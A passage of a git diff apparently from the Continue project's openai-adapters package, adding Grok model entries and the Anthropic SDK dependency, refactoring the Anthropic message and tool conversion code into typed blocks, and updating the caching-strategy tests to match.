recommendedFor: ["chat"], + regex: /grok-4-fast-reasoning/, + }, + { + model: "grok-4-fast-non-reasoning", + displayName: "Grok 4 Fast Non-Reasoning", + contextLength: 2000000, + maxCompletionTokens: 30000, + recommendedFor: ["chat"], + regex: /grok-4-fast-non-reasoning/, + }, + { + model: "grok-4", + displayName: "Grok 4 Fast", + contextLength: 256000, + recommendedFor: ["chat"], + regex: /grok-4/, + }, + { + model: "grok-code-fast-1", + displayName: "Grok Code Fast 1", + contextLength: 256000, + maxCompletionTokens: 10000, + recommendedFor: ["chat"], + regex: /grok-code-fast-1/, }, ], id: "xAI", diff --git a/packages/openai-adapters/package-lock.json b/packages/openai-adapters/package-lock.json index 77ab666f1..2190e58b0 100644 --- a/packages/openai-adapters/package-lock.json +++ b/packages/openai-adapters/package-lock.json @@ -9,11 +9,12 @@ "version": "1.15.0", "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.842.0", "@aws-sdk/credential-providers": "^3.840.0", "@continuedev/config-types": "^1.0.14", "@continuedev/config-yaml": "^1.14.0", - "@continuedev/fetch": "^1.1.0", + "@continuedev/fetch": "^1.5.0", "dotenv": "^16.5.0", "google-auth-library": "^10.1.0", "json-schema": "^0.4.0", @@ -40,6 +41,15 @@ "vitest": "^3.2.4" } }, + "node_modules/@anthropic-ai/sdk": { + "version": "0.62.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.62.0.tgz", + "integrity": "sha512-gT2VFKX0gSp7KJNlav/vzRFjJOPYDZxCJRx7MYUc+fqURc5aS6OI/UJeD2KytJkjsIWv0OOwH1ePc1S5QE2GZw==", + "license": "MIT", + "bin": { + "anthropic-ai-sdk": "bin/cli" + } + }, "node_modules/@aws-crypto/crc32": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", @@ -1459,10 +1469,9 @@ } }, "node_modules/@continuedev/fetch": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@continuedev/fetch/-/fetch-1.2.1.tgz", - "integrity": "sha512-mUq6918QwsutUp65hB/xNLAa0fgjE6JQ5fzMjGlqBp4Q6BQq65HTAtwaBq5PdjPWX72akwhRiGiLOeR0Y2dULg==", - "license": "Apache-2.0", + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@continuedev/fetch/-/fetch-1.5.0.tgz", + "integrity": "sha512-3c0YAEsaJ6tOy8HW07WUiHErrWb5r5ib+iZg7WxI0JcppvruSWMkQ6EosM/KMLkVw7v2VZi3KPBlZq/7gsBs2A==", "dependencies": { "@continuedev/config-types": "^1.0.14", "follow-redirects": "^1.15.6", @@ -15179,6 +15188,7 @@ "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.2.tgz", "integrity": "sha512-CWBzXQrc/qOkhidw1OzBTQuYRbfyxDXJMVJ1XNwUHGROVmuaeiEm3OslpZ1RV96d7SKKjZKrSJu3+t/xlw3R9A==", "dev": true, + "peer": true, "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" diff --git a/packages/openai-adapters/package.json b/packages/openai-adapters/package.json index c2b11cd4a..4b3492980 100644 --- a/packages/openai-adapters/package.json +++ b/packages/openai-adapters/package.json @@ -12,11 +12,12 @@ "author": "Nate Sesti and Ty Dunn", "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.842.0", "@aws-sdk/credential-providers": "^3.840.0", "@continuedev/config-types": "^1.0.14", "@continuedev/config-yaml": "^1.14.0", - "@continuedev/fetch": "^1.1.0", + "@continuedev/fetch": "^1.5.0", "dotenv": "^16.5.0", "google-auth-library": "^10.1.0", "json-schema": "^0.4.0", diff --git a/packages/openai-adapters/src/apis/Anthropic.ts b/packages/openai-adapters/src/apis/Anthropic.ts index 27c0c6f86..0a7bc573c 100644 --- a/packages/openai-adapters/src/apis/Anthropic.ts +++ b/packages/openai-adapters/src/apis/Anthropic.ts @@ -1,8 +1,22 @@ +import { + ContentBlockParam, + MessageCreateParams, + MessageParam, + RawContentBlockDeltaEvent, + RawContentBlockStartEvent, + RawMessageDeltaEvent, + RawMessageStartEvent, + RawMessageStreamEvent, + Tool, + ToolUseBlock, +} from "@anthropic-ai/sdk/resources"; import { streamSse } from "@continuedev/fetch"; import { OpenAI } from "openai/index"; import { ChatCompletion, ChatCompletionChunk, + ChatCompletionContentPartRefusal, + ChatCompletionContentPartText, ChatCompletionCreateParamsNonStreaming, ChatCompletionCreateParamsStreaming, Completion, @@ -24,6 +38,12 @@ import { CACHING_STRATEGIES, CachingStrategyName, } from "./AnthropicCachingStrategies.js"; +import { + getAnthropicHeaders, + getAnthropicMediaTypeFromDataUrl, + openAiToolChoiceToAnthropicToolChoice, + openaiToolToAnthropicTool, +} from "./AnthropicUtils.js"; import { BaseLlmApi, CreateRerankResponse, @@ -59,11 +79,12 @@ export class AnthropicApi implements BaseLlmApi { if (model.includes("haiku")) { return 8192; } - return 32_000; } - public _convertToCleanAnthropicBody(oaiBody: ChatCompletionCreateParams) { + public _convertToCleanAnthropicBody( + oaiBody: ChatCompletionCreateParams, + ): MessageCreateParams { let stop = undefined; if (oaiBody.stop && Array.isArray(oaiBody.stop)) { stop = oaiBody.stop.filter((x) => x.trim() !== ""); @@ -75,145 +96,198 @@ export class AnthropicApi implements BaseLlmApi { (msg) => msg.role === "system", )?.content; - const anthropicBody = { + // TODO support custom tools + const functionTools = oaiBody.tools?.filter((t) => t.type === "function"); + let tools: Tool[] | undefined = undefined; + + if ( + oaiBody.tool_choice !== "none" && + functionTools && + functionTools.length > 0 + ) { + if ( + typeof oaiBody.tool_choice !== "string" && + oaiBody.tool_choice?.type === "allowed_tools" + ) { + const allowedToolNames = new Set( + oaiBody.tool_choice?.allowed_tools.tools.map( + (tool) => tool["name"], + ) ?? [], + ); + const allowedTools = functionTools.filter((t) => + allowedToolNames.has(t.function.name), + ); + tools = allowedTools.map(openaiToolToAnthropicTool); + } else { + tools = functionTools.map(openaiToolToAnthropicTool); + } + } + + const anthropicBody: MessageCreateParams = { messages: this._convertMessages( oaiBody.messages.filter((msg) => msg.role !== "system"), ), - system: systemMessage - ? [ - { - type: "text", - text: systemMessage, - }, - ] - : systemMessage, - top_p: oaiBody.top_p, - temperature: oaiBody.temperature, + system: + typeof systemMessage === "string" + ? [ + { + type: "text", + text: systemMessage, + }, + ] + : systemMessage, + top_p: oaiBody.top_p ?? undefined, + temperature: oaiBody.temperature ?? undefined, max_tokens: oaiBody.max_tokens ?? this.maxTokensForModel(oaiBody.model), // max_tokens is required model: oaiBody.model, stop_sequences: stop, - stream: oaiBody.stream, - tools: oaiBody.tools?.map((tool) => { - // Type guard for function tools - if (tool.type === "function" && "function" in tool) { - return { - name: tool.function.name, - description: tool.function.description, - input_schema: tool.function.parameters, - }; - } else { - throw new Error(`Unsupported tool type in Anthropic: ${tool.type}`); - } - }), - tool_choice: oaiBody.tool_choice - ? { - type: "tool", - name: - typeof oaiBody.tool_choice === "string" - ? oaiBody.tool_choice - : oaiBody.tool_choice && "function" in oaiBody.tool_choice - ? oaiBody.tool_choice.function.name - : undefined, - } - : undefined, + stream: oaiBody.stream ?? undefined, + tools, + tool_choice: openAiToolChoiceToAnthropicToolChoice(oaiBody.tool_choice), }; return anthropicBody; } - private _convertMessages( - msgs: OpenAI.Chat.Completions.ChatCompletionMessageParam[], - ): any[] { - const messages = msgs.map((message) => { - if (message.role === "tool") { - return { - role: "user", - content: [ - { - type: "tool_result", - tool_use_id: message.tool_call_id, - content: - typeof message.content === "string" - ? message.content - : message.content.map((part) => part.text).join(""), - }, - ], - }; - } else if (message.role === "assistant" && message.tool_calls) { - const parts: any[] = []; - if (message.content) { - if (typeof message.content === "string") { - parts.push({ - type: "text", - text: message.content, - }); - } else if (message.content.length > 0) { - parts.push( - message.content.map((c) => ({ - type: "text", - text: c.type === "text" ? c.text : c.refusal, - })), - ); - } - } - - parts.push( - ...message.tool_calls.map((toolCall) => { - // Type guard for function tool calls - if (toolCall.type === "function" && "function" in toolCall) { - return { - type: "tool_use", - id: toolCall.id, - name: toolCall.function?.name, - input: safeParseArgs( - toolCall.function?.arguments, - `${toolCall.function?.name} ${toolCall.id}`, - ), - }; - } else { - throw new Error(`Unsupported tool call type: ${toolCall.type}`); - } - }), - ); - return { - role: "assistant", - content: parts, - }; - } - - if (!Array.isArray(message.content)) { - return message; - } + private convertToolCallsToBlocks( + toolCall: OpenAI.Chat.Completions.ChatCompletionMessageFunctionToolCall, + ): ToolUseBlock | undefined { + const toolCallId = toolCall.id; + const toolName = toolCall.function?.name; + if (toolCallId && toolName) { return { - ...message, - content: message.content - .map((part) => { - if (part.type === "text") { - if ((part.text?.trim() ?? "") === "") { - return null; - } - return part; - } - const dataUrl = - (part as OpenAI.Chat.Completions.ChatCompletionContentPartImage) - ?.image_url?.url || ""; - // Extract media type from data URL (ex. "data:image/png;base64,..." -> "image/png") - const mediaTypeMatch = dataUrl.match(/^data:([^;]+);base64,/); - const mediaType = mediaTypeMatch ? mediaTypeMatch[1] : "image/jpeg"; + type: "tool_use", + id: toolCallId, + name: toolName, + input: safeParseArgs( + toolCall.function.arguments, + `${toolName} ${toolCallId}`, + ), + }; + } + } - return { + // 1. ignores empty content + // 2. converts string content to text parts + // 3. converts text and refusal parts to text blocks + // 4. converts image parts to image blocks + private convertMessageContentToBlocks( + content: + | string + | OpenAI.Chat.Completions.ChatCompletionContentPart[] + | (ChatCompletionContentPartText | ChatCompletionContentPartRefusal)[], + ): ContentBlockParam[] { + const blocks: ContentBlockParam[] = []; + if (typeof content === "string") { + if (content) { + blocks.push({ + type: "text", + text: content, + }); + } + } else { + const supportedParts = content.filter( + (p) => + p.type === "text" || p.type === "image_url" || p.type === "refusal", + ); + for (const part of supportedParts) { + if (part.type === "image_url") { + const dataUrl = part.image_url.url; + if (dataUrl?.startsWith("data:")) { + blocks.push({ type: "image", source: { type: "base64", - media_type: mediaType, + media_type: getAnthropicMediaTypeFromDataUrl(dataUrl), data: dataUrl.split(",")[1], }, - }; - }) - .filter((x) => x !== null), - }; - }); - return messages; + }); + } + } else { + const text = part.type === "text" ? part.text : part.refusal; + if (text) { + blocks.push({ + type: "text", + text, + }); + } + } + } + } + return blocks; + } + + private getContentBlocksFromChatMessage( + message: OpenAI.Chat.Completions.ChatCompletionMessageParam, + ): ContentBlockParam[] { + switch (message.role) { + // One tool message = one tool_result block + case "tool": + return [ + { + type: "tool_result", + tool_use_id: message.tool_call_id, + content: message.content, + }, + ]; + case "user": + return this.convertMessageContentToBlocks(message.content); + case "assistant": + const blocks: ContentBlockParam[] = message.content + ? this.convertMessageContentToBlocks(message.content) + : []; + // If any tool calls are present, always put them last + // Loses order vs what was originally sent, but they typically come last + for (const toolCall of message.tool_calls ?? []) { + if (toolCall.type !== "function") { + // TODO support custom tool calls + continue; + } + const block = this.convertToolCallsToBlocks(toolCall); + if (block) { + blocks.push(block); + } + } + return blocks; + // system, etc. + default: + return []; + } + } + + private _convertMessages( + msgs: OpenAI.Chat.Completions.ChatCompletionMessageParam[], + ): MessageParam[] { + const nonSystemMessages = msgs.filter((m) => m.role !== "system"); + + const convertedMessages: MessageParam[] = []; + let currentRole: "user" | "assistant" | undefined = undefined; + let currentParts: ContentBlockParam[] = []; + + const flushCurrentMessage = () => { + if (currentRole && currentParts.length > 0) { + convertedMessages.push({ + role: currentRole, + content: currentParts, + }); + currentParts = []; + } + }; + + for (const message of nonSystemMessages) { + const newRole = + message.role === "user" || message.role === "tool" + ? "user" + : "assistant"; + if (currentRole !== newRole) { + flushCurrentMessage(); + currentRole = newRole; + } + currentParts.push(...this.getContentBlocksFromChatMessage(message)); + } + flushCurrentMessage(); + + return convertedMessages; } async chatCompletionNonStream( @@ -224,13 +298,7 @@ export class AnthropicApi implements BaseLlmApi { new URL("messages", this.apiBase), { method: "POST", - headers: { - "Content-Type": "application/json", - Accept: "application/json", - "anthropic-version": "2023-06-01", - "anthropic-beta": "prompt-caching-2024-07-31", - "x-api-key": this.config.apiKey, - }, + headers: this.getHeaders(), body: JSON.stringify(this._convertBody(body)), signal, }, @@ -240,7 +308,7 @@ export class AnthropicApi implements BaseLlmApi { return EMPTY_CHAT_COMPLETION; } - const completion = (await response.json()) as any; + const completion = await response.json(); const usage: Record | undefined = completion.usage; return { @@ -254,7 +322,9 @@ export class AnthropicApi implements BaseLlmApi { prompt_tokens: usage?.input_tokens ?? 0, prompt_tokens_details: { cached_tokens: usage?.cache_read_input_tokens ?? 0, - }, + cache_read_tokens: usage?.cache_read_input_tokens ?? 0, + cache_write_tokens: usage?.cache_creation_input_tokens ?? 0, + } as any, }, choices: [ { @@ -281,30 +351,40 @@ export class AnthropicApi implements BaseLlmApi { prompt_tokens: 0, total_tokens: 0, }; - for await (const value of streamSse(response as any)) { + for await (const event of streamSse(response)) { // https://docs.anthropic.com/en/api/messages-streaming#event-types - switch (value.type) { + const rawEvent = event as RawMessageStreamEvent; + switch (rawEvent.type) { case "content_block_start": - if (value.content_block.type === "tool_use") { - lastToolUseId = value.content_block.id; - lastToolUseName = value.content_block.name; + const blockStartEvent = rawEvent as RawContentBlockStartEvent; + if (blockStartEvent.content_block.type === "tool_use") { + lastToolUseId = blockStartEvent.content_block.id; + lastToolUseName = blockStartEvent.content_block.name; } break; case "message_start": - usage.prompt_tokens = value.message.usage?.input_tokens ?? 0; + const startEvent = rawEvent as RawMessageStartEvent; + usage.prompt_tokens = startEvent.message.usage?.input_tokens ?? 0; usage.prompt_tokens_details = { - cached_tokens: value.message.usage?.cache_read_input_tokens ?? 0, - }; + cache_write_tokens: + startEvent.message.usage?.cache_creation_input_tokens ?? 0, + cache_read_tokens: + startEvent.message.usage?.cache_read_input_tokens ?? 0, + cached_tokens: + startEvent.message.usage?.cache_read_input_tokens ?? 0, + } as any; break; case "message_delta": - usage.completion_tokens = value.usage?.output_tokens ?? 0; + const deltaEvent = rawEvent as RawMessageDeltaEvent; + usage.completion_tokens = deltaEvent.usage?.output_tokens ?? 0; break; case "content_block_delta": // https://docs.anthropic.com/en/api/messages-streaming#delta-types - switch (value.delta.type) { + const blockDeltaEvent = rawEvent as RawContentBlockDeltaEvent; + switch (blockDeltaEvent.delta.type) { case "text_delta": yield chatChunk({ - content: value.delta.text, + content: blockDeltaEvent.delta.text, model, }); break; @@ -322,7 +402,7 @@ export class AnthropicApi implements BaseLlmApi { index: 0, function: { name: lastToolUseName, - arguments: value.delta.partial_json, + arguments: blockDeltaEvent.delta.partial_json, }, }, ], @@ -352,25 +432,24 @@ export class AnthropicApi implements BaseLlmApi { async *chatCompletionStream( body: ChatCompletionCreateParamsStreaming, signal: AbortSignal, - ): AsyncGenerator { - body.messages; + ): AsyncGenerator { const response = await customFetch(this.config.requestOptions)( new URL("messages", this.apiBase), { method: "POST", - headers: { - "Content-Type": "application/json", - Accept: "application/json", - "anthropic-version": "2023-06-01", - "anthropic-beta": "prompt-caching-2024-07-31", - "x-api-key": this.config.apiKey, - }, + headers: this.getHeaders(), body: JSON.stringify(this._convertBody(body)), signal, }, ); yield* this.handleStreamResponse(response, body.model); } + + private getHeaders(): Record { + const enableCaching = this.config?.cachingStrategy !== "none"; + return getAnthropicHeaders(this.config.apiKey, enableCaching); + } + async completionNonStream( body: CompletionCreateParamsNonStreaming, signal: AbortSignal, @@ -380,13 +459,13 @@ export class AnthropicApi implements BaseLlmApi { async *completionStream( body: CompletionCreateParamsStreaming, signal: AbortSignal, - ): AsyncGenerator { + ): AsyncGenerator { throw new Error("Method not implemented."); } async *fimStream( body: FimCreateParamsStreaming, signal: AbortSignal, - ): AsyncGenerator { + ): AsyncGenerator { throw new Error("Method not implemented."); } diff --git a/packages/openai-adapters/src/apis/AnthropicCachingStrategies.test.ts b/packages/openai-adapters/src/apis/AnthropicCachingStrategies.test.ts index db7a975e5..263c1f2d2 100644 --- a/packages/openai-adapters/src/apis/AnthropicCachingStrategies.test.ts +++ b/packages/openai-adapters/src/apis/AnthropicCachingStrategies.test.ts @@ -1,24 +1,42 @@ +import { MessageCreateParams, ToolUnion } from "@anthropic-ai/sdk/resources"; import { CACHING_STRATEGIES, - CachingStrategy, CachingStrategyName, getAvailableStrategies, getStrategyDescription, } from "./AnthropicCachingStrategies.js"; +const body_params = { + model: "claude", + stream: true, + max_tokens: 8192, +}; + +const makeTool = (name: string): ToolUnion => ({ + name, + input_schema: { + type: "object", + }, +}); + describe("AnthropicCachingStrategies", () => { describe("noCachingStrategy", () => { it("should return the body unchanged", () => { - const body = { system: "test", messages: [] }; + const body: MessageCreateParams = { + system: "test", + messages: [], + ...body_params, + }; const result = CACHING_STRATEGIES.none(body); expect(result).toBe(body); }); it("should not modify complex objects", () => { - const body = { - system: [{ text: "test" }], - tools: [{ name: "test" }], - messages: [{ content: "test" }], + const body: MessageCreateParams = { + system: [{ type: "text", text: "test" }], + tools: [makeTool("test")], + messages: [{ role: "user", content: "test" }], + ...body_params, }; const result = CACHING_STRATEGIES.none(body); expect(result).toBe(body); @@ -27,24 +45,37 @@ describe("AnthropicCachingStrategies", () => { describe("systemOnlyStrategy", () => { it("should add cache_control to system messages array", () => { - const body = { - system: [{ text: "system message 1" }, { text: "system message 2" }], - messages: [{ content: "user message" }], + const body: MessageCreateParams = { + system: [ + { type: "text", text: "system message 1" }, + { type: "text", text: "system message 2" }, + ], + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemOnly(body); expect(result.system).toEqual([ - { text: "system message 1", cache_control: { type: "ephemeral" } }, - { text: "system message 2", cache_control: { type: "ephemeral" } }, + { + type: "text", + text: "system message 1", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 2", + cache_control: { type: "ephemeral" }, + }, ]); expect(result.messages).toEqual(body.messages); }); it("should return body unchanged if system is not an array", () => { - const body = { + const body: MessageCreateParams = { system: "string system message", - messages: [{ content: "user message" }], + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemOnly(body); @@ -52,8 +83,9 @@ describe("AnthropicCachingStrategies", () => { }); it("should return body unchanged if system is undefined", () => { - const body = { - messages: [{ content: "user message" }], + const body: MessageCreateParams = { + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemOnly(body); @@ -61,25 +93,42 @@ describe("AnthropicCachingStrategies", () => { }); it("should not add more than 5 cached messages", () => { - const body = { + const body: MessageCreateParams = { system: [ - { text: "system message 1" }, - { text: "system message 2" }, - { text: "system message 3" }, - { text: "system message 4" }, - { text: "system message 5" }, + { type: "text", text: "system message 1" }, + { type: "text", text: "system message 2" }, + { type: "text", text: "system message 3" }, + { type: "text", text: "system message 4" }, + { type: "text", text: "system message 5" }, ], - messages: [{ content: "user message" }], + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemOnly(body); expect(result.system).toEqual([ - { text: "system message 1", cache_control: { type: "ephemeral" } }, - { text: "system message 2", cache_control: { type: "ephemeral" } }, - { text: "system message 3", cache_control: { type: "ephemeral" } }, - { text: "system message 4", cache_control: { type: "ephemeral" } }, - { text: "system message 5" }, + { + type: "text", + text: "system message 1", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 2", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 3", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 4", + cache_control: { type: "ephemeral" }, + }, + { type: "text", text: "system message 5" }, ]); expect(result.messages).toEqual(body.messages); }); @@ -87,82 +136,116 @@ describe("AnthropicCachingStrategies", () => { describe("systemAndToolsStrategy", () => { it("should add cache_control to both system and tools", () => { - const body = { - system: [{ text: "system message" }], - tools: [{ name: "tool1" }, { name: "tool2" }], - messages: [{ content: "user message" }], + const body: MessageCreateParams = { + system: [{ type: "text", text: "system message" }], + tools: [makeTool("tool1"), makeTool("tool2")], + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemAndTools(body); expect(result.system).toEqual([ - { text: "system message", cache_control: { type: "ephemeral" } }, + { + type: "text", + text: "system message", + cache_control: { type: "ephemeral" }, + }, ]); expect(result.tools).toEqual([ - { name: "tool1" }, - { name: "tool2", cache_control: { type: "ephemeral" } }, + { + name: "tool1", + input_schema: { + type: "object", + }, + }, + { + name: "tool2", + input_schema: { + type: "object", + }, + cache_control: { type: "ephemeral" }, + }, ]); expect(result.messages).toEqual(body.messages); }); it("should handle missing system messages", () => { - const body = { - tools: [{ name: "tool1" }], - messages: [{ content: "user message" }], + const body: MessageCreateParams = { + tools: [makeTool("tool1")], + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemAndTools(body); expect(result.tools).toEqual([ - { name: "tool1", cache_control: { type: "ephemeral" } }, + { + name: "tool1", + input_schema: { + type: "object", + }, + cache_control: { type: "ephemeral" }, + }, ]); expect(result.messages).toEqual(body.messages); }); it("should handle missing tools", () => { - const body = { - system: [{ text: "system message" }], - messages: [{ content: "user message" }], + const body: MessageCreateParams = { + system: [{ type: "text", text: "system message" }], + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemAndTools(body); expect(result.system).toEqual([ - { text: "system message", cache_control: { type: "ephemeral" } }, + { + type: "text", + text: "system message", + cache_control: { type: "ephemeral" }, + }, ]); expect(result.messages).toEqual(body.messages); }); - it("should handle non-array system and tools", () => { - const body = { - system: "string system", - tools: "string tools", - messages: [{ content: "user message" }], - }; - - const result = CACHING_STRATEGIES.systemAndTools(body); - expect(result).toEqual(body); - }); - it("should add only 4 cache controls in total to both system and tools", () => { - const body = { + const body: MessageCreateParams = { system: [ - { text: "system message 1" }, - { text: "system message 2" }, - { text: "system message 3" }, - { text: "system message 4" }, + { type: "text", text: "system message 1" }, + { type: "text", text: "system message 2" }, + { type: "text", text: "system message 3" }, + { type: "text", text: "system message 4" }, ], - tools: [{ name: "tool1" }, { name: "tool2" }], - messages: [{ content: "user message" }], + tools: [makeTool("tool1"), makeTool("tool2")], + messages: [{ role: "user", content: "user message" }], + ...body_params, }; const result = CACHING_STRATEGIES.systemAndTools(body); expect(result.system).toEqual([ - { text: "system message 1", cache_control: { type: "ephemeral" } }, - { text: "system message 2", cache_control: { type: "ephemeral" } }, - { text: "system message 3", cache_control: { type: "ephemeral" } }, - { text: "system message 4", cache_control: { type: "ephemeral" } }, + { + type: "text", + text: "system message 1", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 2", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 3", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 4", + cache_control: { type: "ephemeral" }, + }, ]); expect(result.tools).toEqual(body.tools); expect(result.messages).toEqual(body.messages); @@ -171,32 +254,45 @@ describe("AnthropicCachingStrategies", () => { describe("optimizedStrategy", () => { it("should cache system messages and tools", () => { - const body = { - system: [{ text: "system message" }], - tools: [{ name: "tool1" }], - messages: [{ content: "short message" }], + const body: MessageCreateParams = { + system: [{ type: "text", text: "system message" }], + tools: [makeTool("tool1")], + messages: [{ role: "user", content: "short message" }], + ...body_params, }; const result = CACHING_STRATEGIES.optimized(body); expect(result.system).toEqual([ - { text: "system message", cache_control: { type: "ephemeral" } }, + { + type: "text", + text: "system message", + cache_control: { type: "ephemeral" }, + }, ]); expect(result.tools).toEqual([ - { name: "tool1", cache_control: { type: "ephemeral" } }, + { + name: "tool1", + input_schema: { + type: "object", + }, + cache_control: { type: "ephemeral" }, + }, ]); }); it("should cache large string messages (>500 tokens)", () => { const largeContent = "a".repeat(2100); // ~525 tokens - const body = { - messages: [{ content: largeContent }], + const body: MessageCreateParams = { + messages: [{ role: "user", content: largeContent }], + ...body_params, }; const result = CACHING_STRATEGIES.optimized(body); expect(result.messages).toEqual([ { + role: "user", content: [ { type: "text", @@ -210,30 +306,42 @@ describe("AnthropicCachingStrategies", () => { it("should not cache small string messages (<500 tokens)", () => { const smallContent = "a".repeat(100); // ~25 tokens - const body = { - messages: [{ content: smallContent }], + const body: MessageCreateParams = { + messages: [{ role: "user", content: smallContent }], + ...body_params, }; const result = CACHING_STRATEGIES.optimized(body); - expect(result.messages).toEqual([{ content: smallContent }]); + expect(result.messages).toEqual([ + { role: "user", content: smallContent }, + ]); }); it("should cache large text items in array content but only once per message", () => { const largeText = "a".repeat(2100); // ~525 tokens const anotherLargeText = "b".repeat(2100); // Also ~525 tokens const smallText = "a".repeat(100); // ~25 tokens - const body = { + const body: MessageCreateParams = { messages: [ { + role: "user", content: [ { type: "text", text: largeText }, { type: "text", text: anotherLargeText }, { type: "text", text: smallText }, - { type: "image", data: "image_data" }, + { + type: "image", + source: { + data: "image_data", + media_type: "image/jpeg", + type: "base64", + }, + }, ], }, ], + ...body_params, }; const result = CACHING_STRATEGIES.optimized(body); @@ -241,6 +349,7 @@ describe("AnthropicCachingStrategies", () => { // Only the first large text item should get cache_control expect(result.messages).toEqual([ { + role: "user", content: [ { type: "text", @@ -249,40 +358,78 @@ describe("AnthropicCachingStrategies", () => { }, { type: "text", text: anotherLargeText }, { type: "text", text: smallText }, - { type: "image", data: "image_data" }, + { + type: "image", + source: { + data: "image_data", + media_type: "image/jpeg", + type: "base64", + }, + }, ], }, ]); }); it("should add maximum 4 cache control blocks", () => { - const body = { - system: [{ text: "system message 1" }, { text: "system message 2" }], - tools: [{ name: "tool" }], + const body: MessageCreateParams = { + system: [ + { type: "text", text: "system message 1" }, + { type: "text", text: "system message 2" }, + ], + tools: [makeTool("tool")], messages: [ - { content: "small content" }, - { content: "a".repeat(2100) }, - { content: "b".repeat(2100) }, + { role: "user", content: "small content" }, + { role: "user", content: "a".repeat(2100) }, + { role: "user", content: "b".repeat(2100) }, { + role: "user", content: [ { type: "text", text: "c".repeat(2100) }, - { type: "image", data: "image" }, + { + type: "image", + source: { + data: "image_data", + media_type: "image/jpeg", + type: "base64", + }, + }, ], }, ], + ...body_params, }; const result = CACHING_STRATEGIES.optimized(body); expect(result.system).toEqual([ - { text: "system message 1", cache_control: { type: "ephemeral" } }, - { text: "system message 2", cache_control: { type: "ephemeral" } }, + { + type: "text", + text: "system message 1", + cache_control: { type: "ephemeral" }, + }, + { + type: "text", + text: "system message 2", + cache_control: { type: "ephemeral" }, + }, ]); expect(result.tools).toEqual([ - { name: "tool", cache_control: { type: "ephemeral" } }, + { + name: "tool", + input_schema: { + type: "object", + }, + cache_control: { type: "ephemeral" }, + }, ]); - expect(result.messages[0]).toEqual({ content: "small content" }); + expect(result.messages[0]).toEqual({ + role: "user", + content: "small content", + }); + expect(result.messages[1]).toEqual({ + role: "user", content: [ { type: "text", @@ -296,31 +443,50 @@ describe("AnthropicCachingStrategies", () => { }); it("should handle complex message structure", () => { - const body = { - system: [{ text: "system" }], - tools: [{ name: "tool" }], + const body: MessageCreateParams = { + system: [{ type: "text", text: "system" }], + tools: [makeTool("tool")], messages: [ - { content: "small content" }, - { content: "a".repeat(2100) }, // large content + { role: "user", content: "small content" }, + { role: "user", content: "a".repeat(2100) }, // large content { + role: "user", content: [ { type: "text", text: "a".repeat(2100) }, // large text - { type: "image", data: "image" }, + { + type: "image", + source: { + data: "image_data", + media_type: "image/jpeg", + type: "base64", + }, + }, ], }, ], + ...body_params, }; const result = CACHING_STRATEGIES.optimized(body); expect(result.system).toEqual([ - { text: "system", cache_control: { type: "ephemeral" } }, + { type: "text", text: "system", cache_control: { type: "ephemeral" } }, ]); expect(result.tools).toEqual([ - { name: "tool", cache_control: { type: "ephemeral" } }, + { + name: "tool", + input_schema: { + type: "object", + }, + cache_control: { type: "ephemeral" }, + }, ]); - expect(result.messages[0]).toEqual({ content: "small content" }); + expect(result.messages[0]).toEqual({ + role: "user", + content: "small content", + }); expect(result.messages[1]).toEqual({ + role: "user", content: [ { type: "text", @@ -337,30 +503,17 @@ describe("AnthropicCachingStrategies", () => { }); it("should handle empty or missing messages", () => { - const body = { - system: [{ text: "system" }], + const body: MessageCreateParams = { + system: [{ type: "text", text: "system" }], + messages: [], + ...body_params, }; const result = CACHING_STRATEGIES.optimized(body); expect(result.system).toEqual([ - { text: "system", cache_control: { type: "ephemeral" } }, + { type: "text", text: "system", cache_control: { type: "ephemeral" } }, ]); - expect(result.messages).toBeUndefined(); - }); - - it("should handle non-array messages", () => { - const body = { - system: [{ text: "system" }], - messages: "not an array", - }; - - const result = CACHING_STRATEGIES.optimized(body); - - expect(result.system).toEqual([ - { text: "system", cache_control: { type: "ephemeral" } }, - ]); - expect(result.messages).toBe("not an array"); }); }); @@ -370,8 +523,14 @@ describe("AnthropicCachingStrategies", () => { const smallContent = "a".repeat(100); // ~25 tokens const largeContent = "a".repeat(2100); // ~525 tokens - const bodySmall = { messages: [{ content: smallContent }] }; - const bodyLarge = { messages: [{ content: largeContent }] }; + const bodySmall: MessageCreateParams = { + messages: [{ role: "user", content: smallContent }], + ...body_params, + }; + const bodyLarge: MessageCreateParams = { + messages: [{ role: "user", content: largeContent }], + ...body_params, + }; const resultSmall = CACHING_STRATEGIES.optimized(bodySmall); const resultLarge = CACHING_STRATEGIES.optimized(bodyLarge); @@ -429,21 +588,6 @@ describe("AnthropicCachingStrategies", () => { }); }); }); - - describe("CachingStrategy type", () => { - it("should accept valid caching strategy functions", () => { - const customStrategy: CachingStrategy = (body) => ({ - ...body, - custom: true, - }); - - const input = { test: "value" }; - const result = customStrategy(input); - - expect(result).toEqual({ test: "value", custom: true }); - }); - }); - describe("CachingStrategyName type", () => { it("should work with valid strategy names", () => { const strategyNames: CachingStrategyName[] = [ diff --git 